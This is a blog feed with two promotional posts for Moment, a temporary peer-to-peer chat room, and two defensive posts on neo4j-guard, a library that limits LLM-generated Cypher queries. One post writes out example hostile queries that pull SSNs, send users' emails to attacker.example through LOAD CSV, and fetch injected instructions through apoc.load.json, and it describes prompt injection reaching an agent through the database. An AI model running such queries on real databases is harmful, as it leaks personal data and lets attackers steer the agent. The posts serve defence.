<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://docs.zices.com/blog</id>
    <title>Zices Blog</title>
    <updated>2026-11-03T00:00:00.000Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://docs.zices.com/blog"/>
    <subtitle>Zices Blog</subtitle>
    <icon>https://docs.zices.com/icon.png</icon>
    <entry>
        <title type="html"><![CDATA[Moment by Zices Might Be the Easiest Way to Move Anything Between Two Computers]]></title>
        <id>https://docs.zices.com/blog/moment-move-anything-between-two-computers</id>
        <link href="https://docs.zices.com/blog/moment-move-anything-between-two-computers"/>
        <updated>2026-11-03T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Open a Moment by Zices room on one computer and its short link on the other to easily share files. Moment is a private, temporary peer-to-peer chat room.]]></summary>
        <content type="html"><![CDATA[<p>Two computers can sit on the same desk and still send a file on a round trip through the cloud. That is ordinary enough now that the extra trip barely registers.</p>
<p>Upload it to Drive, then download it on the other machine. Drop it into Discord, then download it again somewhere else. None of this is hard. It is just a strange amount of infrastructure for a file that needs to move from one computer to another.</p>
<p><strong><a href="https://chat.zices.com/" target="_blank" rel="noopener noreferrer" class="">Moment</a> is a private, temporary peer-to-peer chat room with file sharing built in. There is no login, and Moment never sees what you send. Messages and files travel peer-to-peer over WebRTC.</strong></p>
<p>A Moment room can exist for that single transfer. One computer opens the room; the other opens the short link. The file then moves peer-to-peer between the devices, with no account sign-in or cloud folder created just to hold it for a few minutes.</p>
<p>The room also handles smaller things. A URL too long to type or a block of text sitting on the wrong machine can move through the same temporary connection. There is no need to turn either one into an email draft or a saved document first.</p>
<p>That short link becomes especially useful on unfamiliar computers. A transfer can happen without signing a personal account into someone else's machine. It also works when two people are already talking somewhere else and only the file needs a different route.</p>
<p>Discord is a good example. The conversation can stay exactly where it is. When an upload limit gets in the way, or when a file simply does not need to live in Discord's history, a Moment link can handle the transfer instead.</p>
<p>Try Moment at <a href="https://chat.zices.com/" target="_blank" rel="noopener noreferrer" class="">chat.zices.com</a>.</p>]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[Moment by Zices Is a Privacy-First, Peer-to-Peer Chat That Disappears When You Leave]]></title>
        <id>https://docs.zices.com/blog/moment-privacy-first-peer-to-peer-chat</id>
        <link href="https://docs.zices.com/blog/moment-privacy-first-peer-to-peer-chat"/>
        <updated>2026-11-03T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Moment by Zices is a private, temporary peer-to-peer chat room with file sharing. There is no login, and Moment never sees what you send.]]></summary>
        <content type="html"><![CDATA[<p>Private online communication has an odd default: something meant for one person often gets handed to a third party on the way there. The intended audience might be one person, but the route often includes a company.</p>
<p>Drop a PDF into Discord and it becomes a Discord upload. Put a document in Drive and it becomes something Google is being asked to store. The recipient might need it for a few minutes; the copy can remain long after the reason for sending it has disappeared. Chat history works much the same way. A passing conversation turns into an account record because permanence is the default.</p>
<p>That is useful when the record is useful. It makes less sense when the whole point is to share something and move on.</p>
<p><strong><a href="https://chat.zices.com/" target="_blank" rel="noopener noreferrer" class="">Moment</a> is a private, temporary peer-to-peer chat room with file sharing built in. There is no login, and Moment never sees what you send. Messages and files travel peer-to-peer over WebRTC.</strong></p>
<p>The room is intentionally temporary. A short link opens it, people exchange what they came to exchange, and once the room is gone there is no Moment inbox or file library waiting in the background.</p>
<p>The difference is where the data goes. A file is not parked on Moment's servers before the recipient can get it, and a message is not written into a Moment chat database for later. Messages and files move over the peer connection while the room exists.</p>
<p>That fits naturally into conversations already happening elsewhere. A Discord chat can stay on Discord until a private document or sensitive detail comes up. That part can move to a Moment room and disappear when it is over, without turning the rest of the conversation into a move to another app.</p>
<p>Try Moment at <a href="https://chat.zices.com/" target="_blank" rel="noopener noreferrer" class="">chat.zices.com</a>.</p>]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[What read-only doesn't protect when AI agents access Neo4j]]></title>
        <id>https://docs.zices.com/blog/neo4j-read-only-ai-agents</id>
        <link href="https://docs.zices.com/blog/neo4j-read-only-ai-agents"/>
        <updated>2026-10-14T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Read-only blocks writes, but not queries that read sensitive data, send data out, fetch instructions, or overload Neo4j. neo4j-guard by Zices covers the gaps.]]></summary>
        <content type="html"><![CDATA[<p>Read-only access is the usual first safeguard when an AI agent queries Neo4j, and it does one job: the agent cannot change the data. But changing data is not the only harm a query can do. The agent's queries are written by a language model, from text that other people can control, and many harmful queries never write anything.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-counts-as-read-only">What counts as read-only<a href="https://docs.zices.com/blog/neo4j-read-only-ai-agents#what-counts-as-read-only" class="hash-link" aria-label="Direct link to What counts as read-only" title="Direct link to What counts as read-only" translate="no">​</a></h2>
<p>There are two common ways to give an agent read-only access. On Enterprise Edition and Aura, the agent connects as a database user whose role grants only read privileges, such as the built-in <code>reader</code> role, and Neo4j refuses any write from that user. Community Edition has no roles, so the usual option there is the <code>read_only</code> setting of the Neo4j MCP server. It removes the server's write tool and refuses queries that Neo4j classifies as writes.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-read-only-protects">What read-only protects<a href="https://docs.zices.com/blog/neo4j-read-only-ai-agents#what-read-only-protects" class="hash-link" aria-label="Direct link to What read-only protects" title="Direct link to What read-only protects" translate="no">​</a></h2>
<p>Both stop queries that change the graph. Whatever query the agent writes, it cannot create nodes, update properties, or delete data. If an injected prompt tells the agent to run <code>MATCH (n) DETACH DELETE n</code>, the query fails and the graph is unchanged.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-read-only-doesnt-protect">What read-only doesn't protect<a href="https://docs.zices.com/blog/neo4j-read-only-ai-agents#what-read-only-doesnt-protect" class="hash-link" aria-label="Direct link to What read-only doesn't protect" title="Direct link to What read-only doesn't protect" translate="no">​</a></h2>
<p>Read-only asks one question about a query: does it write? A query that only reads passes, whatever else it does. These three queries pass, and each one still causes harm.</p>
<div class="language-cypher codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cypher codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token plain">MATCH (p:Person) RETURN p.name, p.ssn</span><br></div></code></pre></div></div>
<p>This reads data the agent should not see. Read-only access controls what a query can change, not what it can read, so if the graph stores social security numbers, the agent can return them. Whatever a query returns goes into the agent's context, and from there to whoever is talking to the agent.</p>
<div class="language-cypher codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cypher codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token plain">MATCH (u:User) LOAD CSV FROM 'https://attacker.example/?email=' + u.email AS row RETURN row</span><br></div></code></pre></div></div>
<p>This sends data to another server. <code>LOAD CSV</code> is a read clause: it reads rows from a file or a URL. When the URL is built from graph data, the request itself carries the data out. This query sends one request per user, each with that user's email in it.</p>
<div class="language-cypher codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cypher codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token plain">CALL apoc.load.json('https://attacker.example/prompt.json') YIELD value RETURN value</span><br></div></code></pre></div></div>
<p>This brings instructions in. APOC procedures such as <code>apoc.load.json</code> also read URLs. The response comes back to the agent as query results, and the agent can follow instructions written in it. The database becomes the path for a prompt injection.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-to-cover-the-gaps">How to cover the gaps<a href="https://docs.zices.com/blog/neo4j-read-only-ai-agents#how-to-cover-the-gaps" class="hash-link" aria-label="Direct link to How to cover the gaps" title="Direct link to How to cover the gaps" translate="no">​</a></h2>
<p>The check needs to look at what a query does, not only whether it writes. <code>neo4j-guard</code> parses each query before it is sent and allows only safe clauses, procedures, and functions. By default, it blocks everything else, including <code>LOAD CSV</code> and APOC. It has configurable <code>allow</code> and <code>disallow</code> lists that override the defaults.</p>
<p>The example below uses both. Install <code>neo4j-guard</code>:</p>
<div class="language-sh codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sh codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token plain">pip install neo4j-guard</span><br></div></code></pre></div></div>
<p>Then guard the driver the agent uses, and run the agent's queries through a function that sets a timeout:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token keyword" style="color:#ff7b72">from</span><span class="token plain"> neo4j </span><span class="token keyword" style="color:#ff7b72">import</span><span class="token plain"> GraphDatabase</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> Query</span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">from</span><span class="token plain"> neo4j_guard </span><span class="token keyword" style="color:#ff7b72">import</span><span class="token plain"> GuardError</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> guard</span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">driver </span><span class="token operator" style="color:#ff7b72">=</span><span class="token plain"> guard</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    GraphDatabase</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">driver</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token string" style="color:#a5d6ff">"neo4j://localhost:7687"</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> auth</span><span class="token operator" style="color:#ff7b72">=</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token string" style="color:#a5d6ff">"neo4j"</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> </span><span class="token string" style="color:#a5d6ff">"password"</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    disallow</span><span class="token operator" style="color:#ff7b72">=</span><span class="token punctuation" style="color:#c9d1d9">[</span><span class="token string" style="color:#a5d6ff">"Person.ssn"</span><span class="token punctuation" style="color:#c9d1d9">]</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">def</span><span class="token plain"> </span><span class="token function" style="color:#d2a8ff">run_cypher</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"> </span><span class="token builtin" style="color:#79c0ff">str</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"> </span><span class="token operator" style="color:#ff7b72">-</span><span class="token operator" style="color:#ff7b72">&gt;</span><span class="token plain"> </span><span class="token builtin" style="color:#79c0ff">list</span><span class="token punctuation" style="color:#c9d1d9">[</span><span class="token builtin" style="color:#79c0ff">dict</span><span class="token punctuation" style="color:#c9d1d9">]</span><span class="token plain"> </span><span class="token operator" style="color:#ff7b72">|</span><span class="token plain"> </span><span class="token builtin" style="color:#79c0ff">str</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:#a5d6ff">"""Run a Cypher query with a 5-second timeout and return its records, or why it was blocked."""</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token keyword" style="color:#ff7b72">try</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">        </span><span class="token keyword" style="color:#ff7b72">with</span><span class="token plain"> driver</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">session</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"> </span><span class="token keyword" style="color:#ff7b72">as</span><span class="token plain"> session</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">            </span><span class="token keyword" style="color:#ff7b72">return</span><span class="token plain"> session</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">run</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">Query</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> timeout</span><span class="token operator" style="color:#ff7b72">=</span><span class="token number" style="color:#79c0ff">5</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">data</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token keyword" style="color:#ff7b72">except</span><span class="token plain"> GuardError </span><span class="token keyword" style="color:#ff7b72">as</span><span class="token plain"> error</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">        </span><span class="token keyword" style="color:#ff7b72">return</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:#a5d6ff">f"Query blocked: </span><span class="token string-interpolation interpolation punctuation" style="color:#c9d1d9">{</span><span class="token string-interpolation interpolation">error</span><span class="token string-interpolation interpolation punctuation" style="color:#c9d1d9">}</span><span class="token string-interpolation string" style="color:#a5d6ff">"</span><br></div></code></pre></div></div>]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[How to add guardrails for LLM-generated Cypher]]></title>
        <id>https://docs.zices.com/blog/add-guardrails-for-llm-generated-cypher</id>
        <link href="https://docs.zices.com/blog/add-guardrails-for-llm-generated-cypher"/>
        <updated>2026-10-11T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Guard the Neo4j driver with guard() from neo4j-guard by Zices, then run the LLM's queries through it. Dangerous queries raise GuardError.]]></summary>
        <content type="html"><![CDATA[<p>To add guardrails for LLM-generated Cypher, guard the Neo4j driver with <code>guard()</code> from <code>neo4j-guard</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="install">Install<a href="https://docs.zices.com/blog/add-guardrails-for-llm-generated-cypher#install" class="hash-link" aria-label="Direct link to Install" title="Direct link to Install" translate="no">​</a></h2>
<div class="language-sh codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sh codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token plain">pip install neo4j-guard</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="guard-the-driver">Guard the driver<a href="https://docs.zices.com/blog/add-guardrails-for-llm-generated-cypher#guard-the-driver" class="hash-link" aria-label="Direct link to Guard the driver" title="Direct link to Guard the driver" translate="no">​</a></h2>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token keyword" style="color:#ff7b72">from</span><span class="token plain"> neo4j </span><span class="token keyword" style="color:#ff7b72">import</span><span class="token plain"> GraphDatabase</span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">from</span><span class="token plain"> neo4j_guard </span><span class="token keyword" style="color:#ff7b72">import</span><span class="token plain"> GuardError</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> guard</span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">driver </span><span class="token operator" style="color:#ff7b72">=</span><span class="token plain"> guard</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">GraphDatabase</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">driver</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">URL</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> auth</span><span class="token operator" style="color:#ff7b72">=</span><span class="token plain">AUTH</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">try</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    driver</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">execute_query</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token string" style="color:#a5d6ff">"CREATE (:Person {name: 'Ada'})"</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">except</span><span class="token plain"> GuardError </span><span class="token keyword" style="color:#ff7b72">as</span><span class="token plain"> error</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token keyword" style="color:#ff7b72">print</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain">  </span><span class="token comment" style="color:#8b949e;font-style:italic"># CREATE is not allowed in read mode</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="return-blocked-queries-to-the-llm">Return blocked queries to the LLM<a href="https://docs.zices.com/blog/add-guardrails-for-llm-generated-cypher#return-blocked-queries-to-the-llm" class="hash-link" aria-label="Direct link to Return blocked queries to the LLM" title="Direct link to Return blocked queries to the LLM" translate="no">​</a></h2>
<p>Catch <code>GuardError</code> in the tool that runs the LLM's queries and return the message. The message says what was blocked and why, so the LLM can rewrite the query.</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#c9d1d9;--prism-background-color:#0d1117"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#c9d1d9;background-color:#0d1117"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#c9d1d9"><span class="token keyword" style="color:#ff7b72">from</span><span class="token plain"> neo4j </span><span class="token keyword" style="color:#ff7b72">import</span><span class="token plain"> GraphDatabase</span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">from</span><span class="token plain"> neo4j_guard </span><span class="token keyword" style="color:#ff7b72">import</span><span class="token plain"> GuardError</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> guard</span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">driver </span><span class="token operator" style="color:#ff7b72">=</span><span class="token plain"> guard</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">GraphDatabase</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">driver</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token string" style="color:#a5d6ff">"neo4j://localhost:7687"</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> auth</span><span class="token operator" style="color:#ff7b72">=</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token string" style="color:#a5d6ff">"neo4j"</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> </span><span class="token string" style="color:#a5d6ff">"password"</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">def</span><span class="token plain"> </span><span class="token function" style="color:#d2a8ff">run_cypher</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"> </span><span class="token builtin" style="color:#79c0ff">str</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"> </span><span class="token operator" style="color:#ff7b72">-</span><span class="token operator" style="color:#ff7b72">&gt;</span><span class="token plain"> </span><span class="token builtin" style="color:#79c0ff">list</span><span class="token punctuation" style="color:#c9d1d9">[</span><span class="token builtin" style="color:#79c0ff">dict</span><span class="token punctuation" style="color:#c9d1d9">]</span><span class="token plain"> </span><span class="token operator" style="color:#ff7b72">|</span><span class="token plain"> </span><span class="token builtin" style="color:#79c0ff">str</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:#a5d6ff">"""Run a Cypher query and return its records, or why it was blocked."""</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token keyword" style="color:#ff7b72">try</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">        records</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> _</span><span class="token punctuation" style="color:#c9d1d9">,</span><span class="token plain"> _ </span><span class="token operator" style="color:#ff7b72">=</span><span class="token plain"> driver</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">execute_query</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token keyword" style="color:#ff7b72">except</span><span class="token plain"> GuardError </span><span class="token keyword" style="color:#ff7b72">as</span><span class="token plain"> error</span><span class="token punctuation" style="color:#c9d1d9">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">        </span><span class="token keyword" style="color:#ff7b72">return</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:#a5d6ff">f"Query blocked: </span><span class="token string-interpolation interpolation punctuation" style="color:#c9d1d9">{</span><span class="token string-interpolation interpolation">error</span><span class="token string-interpolation interpolation punctuation" style="color:#c9d1d9">}</span><span class="token string-interpolation string" style="color:#a5d6ff">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain">    </span><span class="token keyword" style="color:#ff7b72">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#c9d1d9">[</span><span class="token plain">record</span><span class="token punctuation" style="color:#c9d1d9">.</span><span class="token plain">data</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain"> </span><span class="token keyword" style="color:#ff7b72">for</span><span class="token plain"> record </span><span class="token keyword" style="color:#ff7b72">in</span><span class="token plain"> records</span><span class="token punctuation" style="color:#c9d1d9">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#c9d1d9"><span class="token plain"></span><span class="token keyword" style="color:#ff7b72">print</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token plain">run_cypher</span><span class="token punctuation" style="color:#c9d1d9">(</span><span class="token string" style="color:#a5d6ff">"MATCH (p:Person) DETACH DELETE p"</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token punctuation" style="color:#c9d1d9">)</span><span class="token plain">  </span><span class="token comment" style="color:#8b949e;font-style:italic"># Query blocked: DELETE is not allowed in read mode</span><br></div></code></pre></div></div>]]></content>
    </entry>
</feed>